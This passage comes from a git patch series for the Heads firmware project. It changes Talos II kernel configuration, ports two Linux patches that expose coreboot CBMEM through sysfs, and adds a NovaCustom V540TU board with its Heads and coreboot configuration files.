-CONFIG_COMPAT_OLD_SIGACTION=y CONFIG_COMPAT_32BIT_TIME=y CONFIG_HAVE_ARCH_RANDOMIZE_KSTACK_OFFSET=y CONFIG_RANDOMIZE_KSTACK_OFFSET=y @@ -639,12 +633,12 @@ CONFIG_QUEUED_RWLOCKS=y CONFIG_ARCH_HAS_MMIOWB=y CONFIG_MMIOWB=y CONFIG_ARCH_HAS_NON_OVERLAPPING_ADDRESS_SPACE=y +CONFIG_ARCH_HAS_SYSCALL_WRAPPER=y # # Executable file formats # CONFIG_BINFMT_ELF=y -CONFIG_COMPAT_BINFMT_ELF=y CONFIG_ELFCORE=y CONFIG_CORE_DUMP_DEFAULT_ELF_HEADERS=y CONFIG_BINFMT_SCRIPT=y From a03857d85f2c6194f5a8f732859f4a982370ee4c Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Thu, 3 Oct 2024 08:54:55 -0400 Subject: [PATCH 353/619] talos-2 kernel 6.6.16: review needed patches and config: cbmem missing, maybe some more patches needs porting Signed-off-by: Thierry Laurion --- config/linux-talos-2.config | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/config/linux-talos-2.config b/config/linux-talos-2.config index 87c544628..651ae1421 100644 --- a/config/linux-talos-2.config +++ b/config/linux-talos-2.config @@ -978,7 +978,7 @@ CONFIG_DMA_SHARED_BUFFER=y # CONFIG_FIRMWARE_MEMMAP is not set CONFIG_GOOGLE_FIRMWARE=y -# CONFIG_GOOGLE_CBMEM is not set +CONFIG_GOOGLE_CBMEM=y CONFIG_GOOGLE_COREBOOT_TABLE=y CONFIG_GOOGLE_MEMCONSOLE=y CONFIG_GOOGLE_MEMCONSOLE_COREBOOT=y From e97b3797960aca504845358776d248c5ad12cca6 Mon Sep 17 00:00:00 2001 From: Sergii Dmytruk Date: Wed, 27 Nov 2024 16:16:00 +0200 Subject: [PATCH 354/619] talos2: port 2 more Linux patches to 6.6.16 Signed-off-by: Sergii Dmytruk Signed-off-by: Thierry Laurion --- ...nfig-enable-inclusion-of-drivers-fir.patch | 24 +++++ ...re-google-expose-CBMEM-as-sysfs-file.patch | 91 +++++++++++++++++++ 2 files changed, 115 insertions(+) create mode 100644 patches/linux-6.6.16-openpower/0006-arch-powerpc-Kconfig-enable-inclusion-of-drivers-fir.patch create mode 100644 patches/linux-6.6.16-openpower/0007-drivers-firmware-google-expose-CBMEM-as-sysfs-file.patch diff --git a/patches/linux-6.6.16-openpower/0006-arch-powerpc-Kconfig-enable-inclusion-of-drivers-fir.patch b/patches/linux-6.6.16-openpower/0006-arch-powerpc-Kconfig-enable-inclusion-of-drivers-fir.patch new file mode 100644 index 000000000..95c566015 --- /dev/null +++ b/patches/linux-6.6.16-openpower/0006-arch-powerpc-Kconfig-enable-inclusion-of-drivers-fir.patch @@ -0,0 +1,24 @@ +From 6fca185285b3c355511885cdb4344a758550c9ba Mon Sep 17 00:00:00 2001 +From: Krystian Hebel +Date: Wed, 8 Mar 2023 13:53:10 +0100 +Subject: [PATCH 6/7] arch/powerpc/Kconfig: enable inclusion of + drivers/firmware + +Signed-off-by: Krystian Hebel +--- + arch/powerpc/Kconfig | 2 ++ + 1 file changed, 2 insertions(+) + +diff --git a/arch/powerpc/Kconfig b/arch/powerpc/Kconfig +index 2fe51e0ad..76cfc1277 100644 +--- a/arch/powerpc/Kconfig ++++ b/arch/powerpc/Kconfig +@@ -1309,3 +1309,5 @@ config PPC_LIB_RHEAP + source "arch/powerpc/kvm/Kconfig" + + source "kernel/livepatch/Kconfig" ++ ++source "drivers/firmware/Kconfig" +-- +2.47.1 + diff --git a/patches/linux-6.6.16-openpower/0007-drivers-firmware-google-expose-CBMEM-as-sysfs-file.patch b/patches/linux-6.6.16-openpower/0007-drivers-firmware-google-expose-CBMEM-as-sysfs-file.patch new file mode 100644 index 000000000..107f72ff6 --- /dev/null +++ b/patches/linux-6.6.16-openpower/0007-drivers-firmware-google-expose-CBMEM-as-sysfs-file.patch @@ -0,0 +1,91 @@ +From 9cdaa84d65888ea288860426a70f36737a6640c6 Mon Sep 17 00:00:00 2001 +From: Krystian Hebel +Date: Tue, 28 Mar 2023 18:31:21 +0200 +Subject: [PATCH 7/7] drivers/firmware/google: expose CBMEM as sysfs file + +Signed-off-by: Krystian Hebel +--- + drivers/firmware/google/Kconfig | 8 ++++++ + drivers/firmware/google/coreboot_table.c | 33 ++++++++++++++++++++++++ + 2 files changed, 41 insertions(+) + +diff --git a/drivers/firmware/google/Kconfig b/drivers/firmware/google/Kconfig +index 41b78f5cb..cb0443f9c 100644 +--- a/drivers/firmware/google/Kconfig ++++ b/drivers/firmware/google/Kconfig +@@ -44,6 +44,14 @@ config GOOGLE_COREBOOT_TABLE + device tree node /firmware/coreboot. + If unsure say N. + ++config GOOGLE_COREBOOT_CBMEM ++ bool "Expose CBMEM as file" ++ depends on GOOGLE_COREBOOT_TABLE ++ help ++ This option exposes raw contents of coreboot's CBMEM to be consumed ++ by userspace tools. Path to file: /sys/firmware/cbmem. ++ If unsure say N. ++ + config GOOGLE_MEMCONSOLE + tristate + depends on GOOGLE_MEMCONSOLE_X86_LEGACY || GOOGLE_MEMCONSOLE_COREBOOT +diff --git a/drivers/firmware/google/coreboot_table.c b/drivers/firmware/google/coreboot_table.c +index 33ae94745..06d6db594 100644 +--- a/drivers/firmware/google/coreboot_table.c ++++ b/drivers/firmware/google/coreboot_table.c +@@ -81,6 +81,18 @@ void coreboot_driver_unregister(struct coreboot_driver *driver) + } + EXPORT_SYMBOL(coreboot_driver_unregister); + ++#ifdef CONFIG_GOOGLE_COREBOOT_CBMEM ++static ssize_t cbmem_read(struct file *filp, struct kobject *kobp, ++ struct bin_attribute *bin_attr, char *buf, ++ loff_t pos, size_t count) ++{ ++ return memory_read_from_buffer(buf, count, &pos, ++ bin_attr->private, bin_attr->size); ++} ++ ++static BIN_ATTR_RO(cbmem, 0); ++#endif ++ + static int coreboot_table_populate(struct device *dev, void *ptr) + { + int i, ret; +@@ -167,6 +179,20 @@ static int coreboot_table_probe(struct platform_device *pdev) + + memunmap(ptr); + ++#ifdef CONFIG_GOOGLE_COREBOOT_CBMEM ++ res = platform_get_resource(pdev, IORESOURCE_MEM, 1); ++ if (res && res->start && res->end && resource_size(res)) { ++ bin_attr_cbmem.size = resource_size(res); ++ bin_attr_cbmem.private = memremap(res->start, ++ resource_size(res), ++ MEMREMAP_WB); ++ if (sysfs_create_bin_file(firmware_kobj, &bin_attr_cbmem)) { ++ bin_attr_cbmem.size = 0; ++ bin_attr_cbmem.private = NULL; ++ } ++ } ++#endif ++ + return ret; + } + +@@ -178,6 +204,13 @@ static int __cb_dev_unregister(struct device *dev, void *dummy) + + static int coreboot_table_remove(struct platform_device *pdev) + { ++#ifdef CONFIG_GOOGLE_COREBOOT_CBMEM ++ if (bin_attr_cbmem.private) { ++ sysfs_remove_bin_file(firmware_kobj, &bin_attr_cbmem); ++ memunmap(bin_attr_cbmem.private); ++ } ++#endif ++ + bus_for_each_dev(&coreboot_bus_type, NULL, NULL, __cb_dev_unregister); + return 0; + } +-- +2.47.1 + From 7ca7488474a28f5b38df64dc3d9d558ef2222cba Mon Sep 17 00:00:00 2001 From: Sergii Dmytruk Date: Wed, 27 Nov 2024 17:28:05 +0200 Subject: [PATCH 355/619] config/linux-talos-2.config: update Signed-off-by: Sergii Dmytruk Signed-off-by: Thierry Laurion --- config/linux-talos-2.config | 32 ++++++++++++++++++++++++-------- 1 file changed, 24 insertions(+), 8 deletions(-) diff --git a/config/linux-talos-2.config b/config/linux-talos-2.config index 651ae1421..556307163 100644 --- a/config/linux-talos-2.config +++ b/config/linux-talos-2.config @@ -437,6 +437,30 @@ CONFIG_KERNEL_START=0xc000000000000000 CONFIG_PHYSICAL_START=0x00000000 # CONFIG_VIRTUALIZATION is not set +# +# Firmware Drivers +# + +# +# ARM System Control and Management Interface Protocol +# +# end of ARM System Control and Management Interface Protocol + +# CONFIG_FIRMWARE_MEMMAP is not set +CONFIG_GOOGLE_FIRMWARE=y +# CONFIG_GOOGLE_CBMEM is not set +CONFIG_GOOGLE_COREBOOT_TABLE=y +CONFIG_GOOGLE_COREBOOT_CBMEM=y +CONFIG_GOOGLE_MEMCONSOLE=y +CONFIG_GOOGLE_MEMCONSOLE_COREBOOT=y +# CONFIG_GOOGLE_VPD is not set + +# +# Tegra firmware driver +# +# end of Tegra firmware driver +# end of Firmware Drivers + # # General architecture-dependent options # @@ -976,14 +1000,6 @@ CONFIG_DMA_SHARED_BUFFER=y # # end of ARM System Control and Management Interface Protocol -# CONFIG_FIRMWARE_MEMMAP is not set -CONFIG_GOOGLE_FIRMWARE=y -CONFIG_GOOGLE_CBMEM=y -CONFIG_GOOGLE_COREBOOT_TABLE=y -CONFIG_GOOGLE_MEMCONSOLE=y -CONFIG_GOOGLE_MEMCONSOLE_COREBOOT=y -# CONFIG_GOOGLE_VPD is not set - # # Tegra firmware driver # From ce2b051a48d7f120e22c5122e9d0cf556a7abd75 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Micha=C5=82=20Kope=C4=87?= Date: Thu, 14 Nov 2024 12:16:36 +0100 Subject: [PATCH 356/619] Add NovaCustom V540TU board MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Co-authored-by: Michał Kopeć Co-authored-by: Thierry Laurion Signed-off-by: Michał Kopeć Signed-off-by: Thierry Laurion --- .circleci/config.yml | 9 +- .../novacustom-v540tu.config | 71 ++ config/coreboot-novacustom-v540tu.config | 943 ++++++++++++++++++ config/linux-nitropad-x.config | 458 ++++++--- modules/coreboot | 3 +- .../0001-tpm_pirq-not_conditional.patch | 27 - ...bmem_tpm-clear_whole_log_on_creation.patch | 37 - 7 files changed, 1333 insertions(+), 215 deletions(-) create mode 100644 boards/novacustom-v540tu/novacustom-v540tu.config create mode 100644 config/coreboot-novacustom-v540tu.config delete mode 100644 patches/coreboot-dasharo-unreleased/0001-tpm_pirq-not_conditional.patch delete mode 100644 patches/coreboot-dasharo-unreleased/0004-cbmem_tpm-clear_whole_log_on_creation.patch diff --git a/.circleci/config.yml b/.circleci/config.yml index 1ee70a4a1..0c79d75a8 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -518,6 +518,13 @@ workflows: requires: - novacustom_nv4x_adl + - build: + name: novacustom-v540tu + target: novacustom-v540tu + subcommand: "" + requires: + - nitropad-nv41 + # coreboot 4.11 - build: name: UNMAINTAINED_kgpe-d16_workstation @@ -533,7 +540,7 @@ workflows: subcommand: "" requires: - librem_l1um - + # coreboot 4.11 - build: name: UNMAINTAINED_kgpe-d16_server diff --git a/boards/novacustom-v540tu/novacustom-v540tu.config b/boards/novacustom-v540tu/novacustom-v540tu.config new file mode 100644 index 000000000..a4935210d --- /dev/null +++ b/boards/novacustom-v540tu/novacustom-v540tu.config @@ -0,0 +1,71 @@ +# NovaCustom V54 MTL (integrated graphics) board configuration + +export CONFIG_COREBOOT=y +export CONFIG_COREBOOT_VERSION=dasharo +export CONFIG_LINUX_VERSION=6.1.8 + +CONFIG_COREBOOT_CONFIG=config/coreboot-novacustom-v540tu.config +CONFIG_LINUX_CONFIG=config/linux-nitropad-x.config + +#Enable DEBUG output +export CONFIG_DEBUG_OUTPUT=y +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y +#Enable TPM2 pcap output under /tmp +#export CONFIG_TPM2_CAPTURE_PCAP=y + +#On-demand hardware support (modules.cpio) +CONFIG_LINUX_USB=y +CONFIG_LINUX_E1000=y +CONFIG_MOBILE_TETHERING=y + +#Modules packed into tools.cpio +CONFIG_CRYPTSETUP2=y +CONFIG_FLASHPROG=y +CONFIG_FLASHTOOLS=y +CONFIG_GPG2=y +CONFIG_KEXEC=y +CONFIG_UTIL_LINUX=y +CONFIG_LVM2=y +CONFIG_MBEDTLS=y +CONFIG_PCIUTILS=y +CONFIG_MSRTOOLS=y +#Remote attestation support +# TPM2 requirements +CONFIG_TPM2_TSS=y +CONFIG_OPENSSL=y +#Remote Attestation common tools +CONFIG_POPT=y +CONFIG_QRENCODE=y +CONFIG_TPMTOTP=y +#HOTP based remote attestation for supported USB Security dongle +#With/Without TPM support +CONFIG_HOTPKEY=y +#Nitrokey Storage admin tool (deprecated) +#CONFIG_NKSTORECLI=n +#GUI Support +#Console based Whiptail support(Console based, no FB): +#CONFIG_SLANG=y +#CONFIG_NEWT=y +#FBWhiptail based (Graphical): +CONFIG_CAIRO=y +CONFIG_FBWHIPTAIL=y +#Additional tools (tools.cpio): +#SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) +CONFIG_DROPBEAR=y + +#Runtime configuration +#Automatically boot if HOTP is valid +export CONFIG_AUTO_BOOT_TIMEOUT=5 +#TPM2 requirements +export CONFIG_TPM2_TOOLS=y +export CONFIG_PRIMARY_KEY_TYPE=ecc +#TPM1 requirements +#export CONFIG_TPM=y +export CONFIG_BOOTSCRIPT=/bin/gui-init +export CONFIG_BOOT_REQ_HASH=n +export CONFIG_BOOT_REQ_ROLLBACK=n +export CONFIG_BOOT_KERNEL_ADD="" +export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" +export CONFIG_BOARD_NAME="NovaCustom V540TU" +export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" +export CONFIG_AUTO_BOOT_TIMEOUT=5 diff --git a/config/coreboot-novacustom-v540tu.config b/config/coreboot-novacustom-v540tu.config new file mode 100644 index 000000000..363f525c7 --- /dev/null +++ b/config/coreboot-novacustom-v540tu.config @@ -0,0 +1,943 @@ +# +# Automatically generated file; DO NOT EDIT. +# coreboot configuration +# + +# +# General setup +# +CONFIG_COREBOOT_BUILD=y +CONFIG_LOCALVERSION="v0.9.0-rc6" +CONFIG_CBFS_PREFIX="fallback" +CONFIG_COMPILER_GCC=y +# CONFIG_COMPILER_LLVM_CLANG is not set +CONFIG_ARCH_SUPPORTS_CLANG=y +# CONFIG_ANY_TOOLCHAIN is not set +# CONFIG_CCACHE is not set +# CONFIG_IWYU is not set +# CONFIG_FMD_GENPARSER is not set +# CONFIG_UTIL_GENPARSER is not set +CONFIG_OPTION_BACKEND_NONE=y +# CONFIG_USE_OPTION_TABLE is not set +CONFIG_COMPRESS_RAMSTAGE_LZMA=y +# CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set +CONFIG_SEPARATE_ROMSTAGE=y +CONFIG_INCLUDE_CONFIG_FILE=y +CONFIG_COLLECT_TIMESTAMPS=y +# CONFIG_TIMESTAMPS_ON_CONSOLE is not set +CONFIG_USE_BLOBS=y +# CONFIG_USE_AMD_BLOBS is not set +# CONFIG_USE_QC_BLOBS is not set +# CONFIG_COVERAGE is not set +# CONFIG_UBSAN is not set +CONFIG_HAVE_ASAN_IN_RAMSTAGE=y +# CONFIG_ASAN is not set +# CONFIG_NO_STAGE_CACHE is not set +CONFIG_TSEG_STAGE_CACHE=y +# CONFIG_UPDATE_IMAGE is not set +# CONFIG_BOOTSPLASH_IMAGE is not set +# CONFIG_FW_CONFIG is not set + +# +# Software Bill Of Materials (SBOM) +# +# CONFIG_SBOM is not set +# end of Software Bill Of Materials (SBOM) +# end of General setup + +# +# Mainboard +# + +# +# Important: Run 'make distclean' before switching boards +# +# CONFIG_VENDOR_51NB is not set +# CONFIG_VENDOR_ACER is not set +# CONFIG_VENDOR_ADLINK is not set +# CONFIG_VENDOR_AMD is not set +# CONFIG_VENDOR_AOPEN is not set +# CONFIG_VENDOR_APPLE is not set +# CONFIG_VENDOR_ASROCK is not set +# CONFIG_VENDOR_ASUS is not set +# CONFIG_VENDOR_BIOSTAR is not set +# CONFIG_VENDOR_BOSTENTECH is not set +# CONFIG_VENDOR_BYTEDANCE is not set +# CONFIG_VENDOR_CAVIUM is not set +CONFIG_VENDOR_CLEVO=y +# CONFIG_VENDOR_COMPULAB is not set +# CONFIG_VENDOR_DELL is not set +# CONFIG_VENDOR_EMULATION is not set +# CONFIG_VENDOR_EXAMPLE is not set +# CONFIG_VENDOR_FACEBOOK is not set +# CONFIG_VENDOR_FOXCONN is not set +# CONFIG_VENDOR_GETAC is not set +# CONFIG_VENDOR_GIGABYTE is not set +# CONFIG_VENDOR_GOOGLE is not set +# CONFIG_VENDOR_HARDKERNEL is not set +# CONFIG_VENDOR_HP is not set +# CONFIG_VENDOR_IBASE is not set +# CONFIG_VENDOR_IBM is not set +# CONFIG_VENDOR_INTEL is not set +# CONFIG_VENDOR_INVENTEC is not set +# CONFIG_VENDOR_KONTRON is not set +# CONFIG_VENDOR_LENOVO is not set +# CONFIG_VENDOR_LIBRETREND is not set +# CONFIG_VENDOR_MSI is not set +# CONFIG_VENDOR_NOVACUSTOM is not set +# CONFIG_VENDOR_OCP is not set +# CONFIG_VENDOR_OPENCELLULAR is not set +# CONFIG_VENDOR_PACKARDBELL is not set +# CONFIG_VENDOR_PCENGINES is not set +# CONFIG_VENDOR_PINE64 is not set +# CONFIG_VENDOR_PORTWELL is not set +# CONFIG_VENDOR_PRODRIVE is not set +# CONFIG_VENDOR_PROTECTLI is not set +# CONFIG_VENDOR_PURISM is not set +# CONFIG_VENDOR_RAZER is not set +# CONFIG_VENDOR_RODA is not set +# CONFIG_VENDOR_SAMSUNG is not set +# CONFIG_VENDOR_SAPPHIRE is not set +# CONFIG_VENDOR_SIEMENS is not set +# CONFIG_VENDOR_SIFIVE is not set +# CONFIG_VENDOR_STARLABS is not set +# CONFIG_VENDOR_SUPERMICRO is not set +# CONFIG_VENDOR_SYSTEM76 is not set +# CONFIG_VENDOR_TI is not set +# CONFIG_VENDOR_UP is not set +CONFIG_MAINBOARD_FAMILY="Not Applicable" +CONFIG_MAINBOARD_PART_NUMBER="V54x_6x_TU" +CONFIG_MAINBOARD_VERSION="V540TU" +CONFIG_MAINBOARD_DIR="clevo/mtl-h" +CONFIG_DIMM_MAX=4 +CONFIG_DIMM_SPD_SIZE=1024 +CONFIG_FMDFILE="" +# CONFIG_NO_POST is not set +CONFIG_MAINBOARD_VENDOR="Clevo" +CONFIG_CBFS_SIZE=0x1000000 +CONFIG_CONSOLE_SERIAL=y +CONFIG_MAX_CPUS=22 +CONFIG_ONBOARD_VGA_IS_PRIMARY=y +# CONFIG_POST_DEVICE is not set +# CONFIG_POST_IO is not set +CONFIG_UART_FOR_CONSOLE=0 +CONFIG_DEVICETREE="devicetree.cb" +# CONFIG_VBOOT is not set +CONFIG_VBOOT_VBNV_OFFSET=0x28 +CONFIG_VARIANT_DIR="igpu" +CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" +# CONFIG_VGA_BIOS is not set +CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="Notebook" +CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/$(MAINBOARDDIR)/variants/$(VARIANT_DIR)/data.vbt" +# CONFIG_DISABLE_HECI1_AT_PRE_BOOT is not set +CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0x2000 +CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.default" +CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" +CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 + +# +# Alder Lake P +# +# CONFIG_BOARD_CLEVO_NS50PU is not set +# CONFIG_BOARD_CLEVO_NV40PZ is not set + +# +# Comet Lake U +# +# CONFIG_BOARD_CLEVO_L140CU is not set + +# +# Kaby Lake U +# +# CONFIG_BOARD_CLEVO_N130WU is not set + +# +# Meteor Lake H +# +# CONFIG_BOARD_CLEVO_V540TNX is not set +# CONFIG_BOARD_CLEVO_V560TNX is not set +CONFIG_BOARD_CLEVO_V540TU=y +# CONFIG_BOARD_CLEVO_V560TU is not set + +# +# Tiger Lake U +# +# CONFIG_BOARD_CLEVO_L140MU is not set +# CONFIG_BOARD_CLEVO_NV40MZ is not set +# CONFIG_BOARD_CLEVO_NS50MU is not set +CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="V54x_6x_TU" +# CONFIG_CONSOLE_POST is not set +# CONFIG_USE_PM_ACPI_TIMER is not set +CONFIG_TPM_PIRQ=0x61 +# CONFIG_SOC_INTEL_CSE_SEND_EOP_EARLY is not set +CONFIG_VBOOT_FWID_VERSION="$(CONFIG_LOCALVERSION)" +CONFIG_EC_SYSTEM76_EC_BAT_THRESHOLDS=y +CONFIG_PXE_ROM_ID="10ec,8168" +CONFIG_BOARD_CLEVO_MTLH_COMMON=y +CONFIG_BOARD_CLEVO_V5X0TU_BASE=y +CONFIG_EC_SYSTEM76_EC_FLASH_SIZE=0x40000 +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xc0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=256 +CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" +CONFIG_DCACHE_RAM_BASE=0xfef00000 +CONFIG_DCACHE_RAM_SIZE=0xc0000 +CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 +CONFIG_DCACHE_BSP_STACK_SIZE=0x80400 +CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 +CONFIG_HAVE_INTEL_FIRMWARE=y +CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 +CONFIG_DRIVERS_INTEL_WIFI=y +CONFIG_IFD_BIN_PATH="3rdparty/dasharo-blobs/novacustom/v5x0tu/descriptor.bin" +CONFIG_ME_BIN_PATH="3rdparty/dasharo-blobs/novacustom/v5x0tu/me.bin" +CONFIG_GBE_BIN_PATH="3rdparty/dasharo-blobs/novacustom/v5x0tu/gbe.bin" +CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x200000 +CONFIG_PCIEXP_DEFAULT_MAX_RESIZABLE_BAR_BITS=36 +CONFIG_CARDBUS_PLUGIN_SUPPORT=y +CONFIG_SPI_FLASH_DONT_INCLUDE_ALL_DRIVERS=y +# CONFIG_USE_LEGACY_8254_TIMER is not set +# CONFIG_DEBUG_SMI is not set +CONFIG_HAVE_IFD_BIN=y +CONFIG_PCIEXP_HOTPLUG_BUSES=42 +CONFIG_PCIEXP_HOTPLUG_MEM=0xc200000 +CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM=0x1c000000 +CONFIG_PS2K_EISAID="PNP0303" +CONFIG_PS2M_EISAID="PNP0F13" +CONFIG_TTYS0_BAUD=115200 +CONFIG_POWER_STATE_DEFAULT_ON_AFTER_FAILURE=y +CONFIG_D3COLD_SUPPORT=y +CONFIG_PCIEXP_ASPM=y +CONFIG_PCIEXP_L1_SUB_STATE=y +CONFIG_PCIEXP_CLK_PM=y +# CONFIG_DRIVERS_UART_8250IO is not set +CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 +CONFIG_FSP_TEMP_RAM_SIZE=0x20000 +CONFIG_EC_GPE_SCI=0x50 +CONFIG_TPM_MEASURED_BOOT=y +CONFIG_LINUX_COMMAND_LINE="debug console=uart,mmio32,0xfe02c000" +CONFIG_BOARD_ROMSIZE_KB_32768=y +# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_4096 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_5120 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_8192 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_16384 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set +CONFIG_COREBOOT_ROMSIZE_KB_32768=y +# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set +CONFIG_COREBOOT_ROMSIZE_KB=32768 +CONFIG_ROM_SIZE=0x02000000 +CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y +CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y +CONFIG_POWER_STATE_OFF_AFTER_FAILURE=y +# CONFIG_POWER_STATE_ON_AFTER_FAILURE is not set +# CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set +CONFIG_MAINBOARD_POWER_FAILURE_STATE=0 +# end of Mainboard + +CONFIG_SYSTEM_TYPE_LAPTOP=y + +# +# Chipset +# + +# +# SoC +# +CONFIG_CHIPSET_DEVICETREE="soc/intel/meteorlake/chipset.cb" +CONFIG_FSP_M_FILE="$(obj)/Fsp_M.fd" +CONFIG_FSP_S_FILE="$(obj)/Fsp_S.fd" +CONFIG_CBFS_MCACHE_SIZE=0x4000 +CONFIG_ROMSTAGE_ADDR=0x2000000 +CONFIG_VERSTAGE_ADDR=0x2000000 +CONFIG_CONSOLE_UART_BASE_ADDRESS=0xfe02c000 +CONFIG_SMM_TSEG_SIZE=0x800000 +CONFIG_SMM_RESERVED_SIZE=0x200000 +CONFIG_SMM_MODULE_STACK_SIZE=0x800 +CONFIG_ACPI_BERT=y +CONFIG_ACPI_BERT_SIZE=0x10000 +CONFIG_DRIVERS_I2C_DESIGNWARE_CLOCK_MHZ=133 +CONFIG_VBOOT_HASH_BLOCK_SIZE=0x1000 +CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 +CONFIG_ACPI_CPU_STRING="CP%02X" +CONFIG_STACK_SIZE=0x2000 +CONFIG_EXT_BIOS_WIN_BASE=0xf8000000 +CONFIG_EXT_BIOS_WIN_SIZE=0x2000000 +CONFIG_IFD_CHIPSET="mtl" +CONFIG_IED_REGION_SIZE=0x400000 +CONFIG_MAX_TBT_ROOT_PORTS=4 +CONFIG_MAX_ROOT_PORTS=12 +CONFIG_MAX_PCIE_CLOCK_SRC=9 +CONFIG_PCR_BASE_ADDRESS=0xe0000000 +CONFIG_CPU_BCLK_MHZ=100 +CONFIG_SOC_INTEL_PERFORMANCE_CORE_SCALE_FACTOR=125 +CONFIG_SOC_INTEL_EFFICIENT_CORE_SCALE_FACTOR=100 +CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_CLOCK_MHZ=120 +CONFIG_CPU_XTAL_HZ=38400000 +CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_MAX=3 +CONFIG_SOC_INTEL_I2C_DEV_MAX=6 +CONFIG_SOC_INTEL_UART_DEV_MAX=3 +CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_M_VAL=0x25a +CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_N_VAL=0x7fff +CONFIG_FSP_HEADER_PATH="3rdparty/dasharo-blobs/novacustom/v5x0tu/MeteorLakeFspBinPkg/Include/" +CONFIG_FSP_FD_PATH="3rdparty/dasharo-blobs/novacustom/v5x0tu/MeteorLakeFspBinPkg/Fsp.fd" +CONFIG_DATA_BUS_WIDTH=128 +CONFIG_DIMMS_PER_CHANNEL=2 +CONFIG_MRC_CHANNEL_WIDTH=16 +CONFIG_BUILDING_WITH_DEBUG_FSP=y +CONFIG_INTEL_GMA_BCLV_OFFSET=0xc8258 +CONFIG_INTEL_GMA_BCLV_WIDTH=32 +CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8254 +CONFIG_INTEL_GMA_BCLM_WIDTH=32 +CONFIG_FSP_PUBLISH_MBP_HOB=y +CONFIG_MAX_HECI_DEVICES=6 +CONFIG_BOOTBLOCK_IN_CBFS=y +CONFIG_HAVE_PAM0_REGISTER=y +CONFIG_PCIEXP_COMMON_CLOCK=y +CONFIG_CPU_INTEL_NUM_FIT_ENTRIES=4 +CONFIG_SOC_INTEL_METEORLAKE=y +CONFIG_SOC_INTEL_METEORLAKE_U_H=y +CONFIG_SOC_INTEL_METEORLAKE_TCSS_USB4_SUPPORT=y +CONFIG_METEORLAKE_CAR_ENHANCED_NEM=y +CONFIG_CPU_MAX_TEMPERATURE=110 +CONFIG_IOE_PCR_BASE_ADDRESS=0x3fff0000000 +CONFIG_SOC_INTEL_USB2_DEV_MAX=10 +CONFIG_SOC_INTEL_USB3_DEV_MAX=2 +CONFIG_SOC_INTEL_METEORLAKE_DEBUG_CONSENT=0 +CONFIG_SOC_INTEL_GFX_FRAMEBUFFER_OFFSET=0x800000 +CONFIG_PCIE_LTR_MAX_SNOOP_LATENCY=0x100f +CONFIG_PCIE_LTR_MAX_NO_SNOOP_LATENCY=0x100f +CONFIG_IOE_DIE_CLOCK_START=6 +CONFIG_SOC_INTEL_CSE_FW_PARTITION_CMOS_OFFSET=161 +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_SLP_S0_FREQ_HZ=0x2005 +CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=42 +CONFIG_INTEL_TME=y +CONFIG_SOC_INTEL_COMMON_BLOCK_P2SB=y +CONFIG_FIXED_SMBUS_IO_BASE=0xefa0 +CONFIG_CBFS_CACHE_ALIGN=8 +CONFIG_SOC_INTEL_COMMON=y + +# +# Intel SoC Common Code for IP blocks +# +CONFIG_SOC_INTEL_COMMON_BLOCK=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_GPIO=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_LPIT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_PEP=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_PEP_LPM_REQ=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CRASHLOG=y 